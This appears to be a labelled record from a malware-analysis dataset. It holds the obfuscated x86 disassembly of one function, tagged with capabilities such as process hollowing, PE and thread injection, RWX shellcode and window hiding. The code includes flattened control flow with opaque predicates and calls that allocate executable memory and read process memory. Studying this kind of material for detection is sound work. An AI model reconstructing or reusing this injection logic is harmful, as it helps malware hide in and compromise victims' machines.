Function at 0x10008850
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Create thread
Hide graphical window
Inject pe
Inject thread
Parse pe header
Resume thread
Spawn thread to rwx shellcode
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x1a0
mov eax, dword [0x1006de04]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x1a8], 0xf24020a6
mov eax, dword [ebp - 0x1a8]
mov dword [ebp - 0x1ac], eax
sub eax, 0x80628ec2
je 0x1000c60a
jmp 0x1000888c
mov eax, dword [ebp - 0x1ac]
sub eax, 0x81c2e243
je 0x1000c1e6
jmp 0x100088a2
mov eax, dword [ebp - 0x1ac]
sub eax, 0x83b88858
je 0x1000f624
jmp 0x100088b8
mov eax, dword [ebp - 0x1ac]
sub eax, 0x856bf493
je 0x1000fb99
jmp 0x100088ce
mov eax, dword [ebp - 0x1ac]
sub eax, 0x860ef6d3
je 0x1000f4ee
jmp 0x100088e4
mov eax, dword [ebp - 0x1ac]
sub eax, 0x8768e586
je 0x1000ab64
jmp 0x100088fa
mov eax, dword [ebp - 0x1ac]
sub eax, 0x89aa6aa8
je 0x1000f4d0
jmp 0x10008910
mov eax, dword [ebp - 0x1ac]
sub eax, 0x8a8324ed
je 0x1000a49b
jmp 0x10008926
mov eax, dword [ebp - 0x1ac]
sub eax, 0x8adf0369
je 0x1000f0fe
jmp 0x1000893c
mov eax, dword [ebp - 0x1ac]
sub eax, 0x8c0057b9
je 0x1000ba10
jmp 0x10008952
mov eax, dword [ebp - 0x1ac]
sub eax, 0x8c0f1800
je 0x1000b097
jmp 0x10008968
mov eax, dword [ebp - 0x1ac]
sub eax, 0x8d81d482
je 0x1000b1fb
jmp 0x1000897e
mov eax, dword [ebp - 0x1ac]
sub eax, 0x8df38db1
je 0x1000d32a
jmp 0x10008994
mov eax, dword [ebp - 0x1ac]
sub eax, 0x8f2c989f
je 0x1000d576
jmp 0x100089aa
mov eax, dword [ebp - 0x1ac]
sub eax, 0x8f45a6a2
je 0x1000de88
jmp 0x100089c0
mov eax, dword [ebp - 0x1ac]
sub eax, 0x904ba4c1
je 0x1000c954
jmp 0x100089d6
mov eax, dword [ebp - 0x1ac]
sub eax, 0x91d6bd24
je 0x1000b1bf
jmp 0x100089ec
mov eax, dword [ebp - 0x1ac]
sub eax, 0x93cd3577
je 0x1000ee27
jmp 0x10008a02
mov eax, dword [ebp - 0x1ac]
sub eax, 0x957487de
je 0x1000ba1f
jmp 0x10008a18
mov eax, dword [ebp - 0x1ac]
sub eax, 0x9576d978
je 0x1000f4b2
jmp 0x10008a2e
mov eax, dword [ebp - 0x1ac]
sub eax, 0x95f2c996
je 0x1000cf31
jmp 0x10008a44
mov eax, dword [ebp - 0x1ac]
sub eax, 0x965db9d2
je 0x1000b45d
jmp 0x10008a5a
mov eax, dword [ebp - 0x1ac]
sub eax, 0x9714d878
je 0x1000dc9b
jmp 0x10008a70
mov eax, dword [ebp - 0x1ac]
sub eax, 0x97c6a928
je 0x1000b72b
jmp 0x10008a86
mov eax, dword [ebp - 0x1ac]
sub eax, 0x97d58d98
je 0x1000d597
jmp 0x10008a9c
mov eax, dword [ebp - 0x1ac]
sub eax, 0x986609e6
je 0x1000e8e5
jmp 0x10008ab2
mov eax, dword [ebp - 0x1ac]
sub eax, 0x99613ca0
je 0x1000b34a
jmp 0x10008ac8
mov eax, dword [ebp - 0x1ac]
sub eax, 0x99a5d07a
je 0x1000c4e1
jmp 0x10008ade
mov eax, dword [ebp - 0x1ac]
sub eax, 0x9a97ecd5
je 0x1000be18
jmp 0x10008af4
mov eax, dword [ebp - 0x1ac]
sub eax, 0x9bb54d65
je 0x1000f64b
jmp 0x10008b0a
mov eax, dword [ebp - 0x1ac]
sub eax, 0x9be61b31
je 0x1000d412
jmp 0x10008b20
mov eax, dword [ebp - 0x1ac]
sub eax, 0x9c67624a
je 0x1000dd11
jmp 0x10008b36
mov eax, dword [ebp - 0x1ac]
sub eax, 0x9d145bf8
je 0x1000c680
jmp 0x10008b4c
mov eax, dword [ebp - 0x1ac]
sub eax, 0x9d2dfcbc
je 0x1000d254
jmp 0x10008b62
mov eax, dword [ebp - 0x1ac]
sub eax, 0x9d99c791
je 0x1000fcaf
jmp 0x10008b78
mov eax, dword [ebp - 0x1ac]
sub eax, 0x9e4c55b3
je 0x1000dd62
jmp 0x10008b8e
mov eax, dword [ebp - 0x1ac]
sub eax, 0xa0f34ee0
je 0x1000fa12
jmp 0x10008ba4
mov eax, dword [ebp - 0x1ac]
sub eax, 0xa10d2d66
je 0x1000a702
jmp 0x10008bba
mov eax, dword [ebp - 0x1ac]
sub eax, 0xa19e388a
je 0x1000cf52
jmp 0x10008bd0
mov eax, dword [ebp - 0x1ac]
sub eax, 0xa28ab7cd
je 0x1000eb24
jmp 0x10008be6
mov eax, dword [ebp - 0x1ac]
sub eax, 0xa28d683b
je 0x1000d7ba
jmp 0x10008bfc
mov eax, dword [ebp - 0x1ac]
sub eax, 0xa3286eab
je 0x1000d830
jmp 0x10008c12
mov eax, dword [ebp - 0x1ac]
sub eax, 0xa361567d
je 0x1000f4c1
jmp 0x10008c28
mov eax, dword [ebp - 0x1ac]
sub eax, 0xa378fe1c
je 0x1000cbd6
jmp 0x10008c3e
mov eax, dword [ebp - 0x1ac]
sub eax, 0xa3f40e4a
je 0x1000befc
jmp 0x10008c54
mov eax, dword [ebp - 0x1ac]
sub eax, 0xa4097989
je 0x1000d769
jmp 0x10008c6a
mov eax, dword [ebp - 0x1ac]
sub eax, 0xa452f1e4
je 0x1000ceac
jmp 0x10008c80
mov eax, dword [ebp - 0x1ac]
sub eax, 0xa4581748
je 0x1000f65a
jmp 0x10008c96
mov eax, dword [ebp - 0x1ac]
sub eax, 0xa47144f6
je 0x1000b301
jmp 0x10008cac
mov eax, dword [ebp - 0x1ac]
sub eax, 0xa585d9ff
je 0x1000c8b2
jmp 0x10008cc2
mov eax, dword [ebp - 0x1ac]
sub eax, 0xa5c7b757
je 0x1000aed9
jmp 0x10008cd8
mov eax, dword [ebp - 0x1ac]
sub eax, 0xa6aad90e
je 0x1000fa9f
jmp 0x10008cee
mov eax, dword [ebp - 0x1ac]
sub eax, 0xa6d8180f
je 0x1000ee48
jmp 0x10008d04
mov eax, dword [ebp - 0x1ac]
sub eax, 0xa78bc5fe
je 0x1000ab55
jmp 0x10008d1a
mov eax, dword [ebp - 0x1ac]
sub eax, 0xa7cb0529
je 0x1000abad
jmp 0x10008d30
mov eax, dword [ebp - 0x1ac]
sub eax, 0xa88b85d2
je 0x1000e4ad
jmp 0x10008d46
mov eax, dword [ebp - 0x1ac]
sub eax, 0xa9555615
je 0x1000a791
jmp 0x10008d5c
mov eax, dword [ebp - 0x1ac]
sub eax, 0xa9636ce0
je 0x1000c38b
jmp 0x10008d72
mov eax, dword [ebp - 0x1ac]
sub eax, 0xaa0a1e66
je 0x1000d0a9
jmp 0x10008d88
mov eax, dword [ebp - 0x1ac]
sub eax, 0xac3609da
je 0x1000d651
jmp 0x10008d9e
mov eax, dword [ebp - 0x1ac]
sub eax, 0xacbfe1f2
je 0x1000fa21
jmp 0x10008db4
mov eax, dword [ebp - 0x1ac]
sub eax, 0xace5025a
je 0x1000f06d
jmp 0x10008dca
mov eax, dword [ebp - 0x1ac]
sub eax, 0xad165704
je 0x1000f606
jmp 0x10008de0
mov eax, dword [ebp - 0x1ac]
sub eax, 0xad7b14af
je 0x1000f2f5
jmp 0x10008df6
mov eax, dword [ebp - 0x1ac]
sub eax, 0xaf575c24
je 0x1000ca13
mov ecx, dword [0x1006f088]
mov eax, dword [0x1006f084]
mov edx, ecx
sub edx, 0xbe1f63cd
sub edx, 1
add edx, 0xbe1f63cd
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x89aa6aa8
mov ecx, 0xe741e35c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x1000fe17
push eax
mov eax, esp
mov dword [ebp - 0x154], eax
push eax
mov eax, esp
mov dword [ebp - 0x150], eax
mov dword [ebp - 0x1a8], 0xd8fe7a43
jmp 0x1000fe17
push eax
mov eax, esp
mov dword [ebp - 0x14c], eax
push eax
mov eax, esp
mov dword [ebp - 0x148], eax
push eax
mov eax, esp
mov dword [ebp - 0x144], eax
push eax
mov eax, esp
mov dword [ebp - 0x140], eax
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor ecx, ecx
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0
call dword [sym.imp.USER32.dll_ShowWindow]
lea eax, str.kernel32.dll
sub esp, 4
mov dword [esp], eax
call fcn.10001370
add esp, 4
lea eax, [0x1001b1d1]
sub esp, 4
mov dword [esp], eax
call fcn.10001370
add esp, 4
lea eax, section..data
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x4ce00
call section..text
add esp, 8
lea eax, section..data
mov dword [ebp - 0x180], eax
mov eax, dword [ebp - 0x180]
mov dword [ebp - 0x184], eax
mov eax, dword [ebp - 0x184]
movzx eax, word [eax]
cmp eax, 0x5a4d
sete al
and al, 1
mov byte [ebp - 0x139], al
mov eax, dword [0x1006f088]
mov ecx, dword [0x1006f084]
mov edx, eax
add edx, 0x460703b9
sub edx, 1
sub edx, 0x460703b9
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x860ef6d3
mov ecx, 0x2c6f05f5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x1000fe17
mov dword [ebp - 0x1a8], 0x8768e586
jmp 0x1000fe17
mov eax, dword [0x1006f088]
mov ecx, dword [0x1006f084]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x9d107e7
mov ecx, 0xa7cb0529
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x1000fe17
mov eax, dword [0x1006f088]
mov ecx, dword [0x1006f084]
mov edx, eax
add edx, 0x26a2bd98
sub edx, 1
sub edx, 0x26a2bd98
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x6eba5717
mov ecx, 0x64fbd362
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x1000fe17
mov ecx, dword [0x1006f088]
mov eax, dword [0x1006f084]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x354fdcec
mov ecx, 0x14464a26
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x1000fe17
mov dword [ebp - 0x1a8], 0x64ea1302
jmp 0x1000fe17
mov dl, byte [ebp - 0x119]
mov eax, 0xd7d54b33
mov ecx, 0x495b7966
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x1000fe17
mov eax, dword [0x1006f088]
mov ecx, dword [0x1006f084]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x83b88858
mov ecx, 0x5454ef37
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x1000fe17
mov eax, dword [0x1006f088]
mov ecx, dword [0x1006f084]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x9bb54d65
mov ecx, 0x99613ca0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x1000fe17
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x110], eax
mov eax, dword [0x1006f088]
mov ecx, dword [0x1006f084]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x9bb54d65
mov ecx, 0xd75ef399
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x1000fe17
mov edx, dword [ebp - 0x10c]
lea ecx, [ebp - 0x68]
xor eax, eax
lea eax, [ebp - 0x6c]
sub esp, 0x18
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], 0
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0x3000
mov dword [esp + 0x14], 0x40
call sub.ntdll.dll_NtAllocateVirtualMemory
mov dword [ebp - 0x1a8], 0xdd346ef1
jmp 0x1000fe17
mov eax, dword [0x1006f088]
mov ecx, dword [0x1006f084]
mov edx, eax
add edx, 0x1af13974
sub edx, 1
sub edx, 0x1af13974
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xd3967175
mov ecx, 0xb295cf14
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x1000fe17
mov dword [ebp - 0x1a8], 0x957487de
jmp 0x1000fe17
mov eax, dword [ebp - 0x17c]
mov eax, dword [eax]
mov dword [ebp - 0xe4], eax
mov dword [ebp - 0x1a8], 0x17bcedb9
jmp 0x1000fe17
mov ecx, dword [0x1006f088]
mov eax, dword [0x1006f084]
mov edx, ecx
sub edx, 0x76d4e3a7
sub edx, 1
add edx, 0x76d4e3a7
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x30b166e2
mov ecx, 0x1dde7f19
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x1000fe17
mov dl, byte [ebp - 0xd2]
mov eax, 0xb75acee6
mov ecx, 0x74c40d85
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x1000fe17
mov ecx, dword [0x1006f088]
mov eax, dword [0x1006f084]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x3f65e84f
mov ecx, 0x51c3502
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x1000fe17
mov ecx, dword [0x1006f088]
mov eax, dword [0x1006f084]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xbf807dd3
mov ecx, 0x53555527
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x1000fe17
mov eax, dword [ebp - 0x174]
mov eax, dword [eax]
mov dword [ebp - 0xd0], eax
mov eax, dword [ebp - 0x1a4]
mov ecx, dword [ebp - 0x170]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov eax, dword [eax + 0xc]
mov ecx, dword [ebp - 0x16c]
mov edx, dword [ecx]
xor ecx, ecx
sub ecx, edx
sub eax, ecx
mov dword [ebp - 0xcc], eax
mov ecx, dword [0x1006f088]
mov eax, dword [0x1006f084]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xbb1a0dfc
mov ecx, 0xdd85b39
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x1000fe17
mov ecx, dword [0x1006f088]
mov eax, dword [0x1006f084]
mov edx, ecx
sub edx, 0xa3abe262
sub edx, 1
add edx, 0xa3abe262
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x5d756f0f
mov ecx, 0x9d145bf8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x1000fe17
mov eax, dword [ebp - 0xd0]
mov ecx, dword [ebp - 0xcc]
cmp eax, ecx
setbe al
and al, 1
mov byte [ebp - 0xc5], al
mov ecx, dword [0x1006f088]
mov eax, dword [0x1006f084]
mov edx, ecx
add edx, 0x13baaa51
sub edx, 1
sub edx, 0x13baaa51
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x5d756f0f
mov ecx, 0xf1c0a56b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x1000fe17
mov eax, dword [0x1006f088]
mov ecx, dword [0x1006f084]
mov edx, eax
add edx, 0x45ab45e9
sub edx, 1
sub edx, 0x45ab45e9
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xdf0f1735
mov ecx, 0xda933ee9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x1000fe17
mov eax, dword [0x1006f088]
mov ecx, dword [0x1006f084]
mov edx, eax
sub edx, 0xde903353
sub edx, 1
add edx, 0xde903353
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xa6d8180f
mov ecx, 0xaf952b31
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x1000fe17
mov eax, dword [0x1006f088]
mov ecx, dword [0x1006f084]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x755c8c75
mov ecx, 0x7a2a577d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x1000fe17
mov ecx, dword [0x1006f088]
mov eax, dword [0x1006f084]
mov edx, ecx
add edx, 0x78a6c376
sub edx, 1
sub edx, 0x78a6c376
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x47b384
mov ecx, 0xbe6937f7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x1000fe17
mov edx, dword [ebp - 0xb4]
mov eax, 0x52933a19
mov ecx, 0xa19e388a
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x1000fe17
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0xb0], eax
mov eax, dword [ebp - 0x188]
mov eax, dword [eax + 0x34]
mov dword [ebp - 0xac], eax
mov dword [ebp - 0x1a8], 0x26265f5d
jmp 0x1000fe17
mov eax, dword [0x1006f088]
mov ecx, dword [0x1006f084]
mov edx, eax
sub edx, 0x466e3850
sub edx, 1
add edx, 0x466e3850
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xc2b5bb3f
mov ecx, 0x332d2311
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x1000fe17
mov dword [ebp - 0x1a8], 0x2417dd16
jmp 0x1000fe17
mov ecx, dword [0x1006f088]
mov eax, dword [0x1006f084]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xace5025a
mov ecx, 0x7a87e70d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x1000fe17
mov dword [ebp - 0x1a8], 0x50a73861
jmp 0x1000fe17
mov dl, byte [ebp - 0x9d]
mov eax, 0xd7ccdbc3
mov ecx, 0x97d58d98
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x1000fe17
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x9c], eax
mov dword [ebp - 0x1a8], 0x36060ed7
jmp 0x1000fe17
mov eax, dword [ebp - 0x178]
mov eax, dword [eax]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x9c]
xor eax, eax
sub eax, edx
sub ecx, eax
mov eax, dword [ebp - 0x168]
mov eax, dword [eax]
mov edx, dword [ebp - 0x15c]
mov edx, dword [edx]
movzx eax, word [eax + edx*2]
xor eax, 0xffffffff
mov esi, 0xffffffff
xor esi, 0xfff
mov edx, 0xffffffff
xor edx, 0xcac123f4
or eax, esi
or edx, 0xcac123f4
xor eax, 0xffffffff
and eax, edx
sub ecx, 0x9bb9f057
add ecx, eax
add ecx, 0x9bb9f057
mov eax, dword [ebp - 0x158]
mov dword [eax], ecx
mov eax, dword [ebp - 0x158]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x154]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtReadVirtualMemory
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0x95], al
mov ecx, dword [0x1006f088]
mov eax, dword [0x1006f084]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xd562bea1
mov ecx, 0xa4097989
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x1000fe17
mov eax, dword [0x1006f088]
mov ecx, dword [0x1006f084]
mov edx, eax
sub edx, 0x48e79314
sub edx, 1
add edx, 0x48e79314
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xc9e7c5c1
mov ecx, 0xa28d683b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x1000fe17
mov ecx, dword [0x1006f088]
mov eax, dword [0x1006f084]
mov edx, ecx
add edx, 0x77316f11
sub edx, 1
sub edx, 0x77316f11
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x6a862de0
mov ecx, 0xa3286eab
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x1000fe17
mov ecx, dword [0x1006f088]
mov eax, dword [0x1006f084]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x6a862de0
mov ecx, 0xea69308d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x1000fe17
mov ecx, dword [0x1006f088]
mov eax, dword [0x1006f084]
mov edx, ecx
add edx, 0xc6bf8e8e
sub edx, 1
sub edx, 0xc6bf8e8e
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xa0f34ee0
mov ecx, 0x9c67624a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x1000fe17
mov eax, dword [0x1006f088]
mov ecx, dword [0x1006f084]
mov edx, eax
sub edx, 0x380f351f
sub edx, 1
add edx, 0x380f351f
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x4619d98a
mov ecx, 0x9e4c55b3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x1000fe17
mov eax, dword [ebp - 0x84]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x88]
sub ecx, 0xe753dc70
add ecx, eax
add ecx, 0xe753dc70
mov eax, dword [ebp - 0x178]
mov dword [eax], ecx
mov ecx, dword [0x1006f088]
mov eax, dword [0x1006f084]
mov edx, ecx
sub edx, 0x3ce39dbf
sub edx, 1
add edx, 0x3ce39dbf
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x4619d98a
mov ecx, 0x7714f1a0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x1000fe17
mov ecx, dword [0x1006f088]
mov eax, dword [0x1006f084]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xacbfe1f2
mov ecx, 0x7a8622cb
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
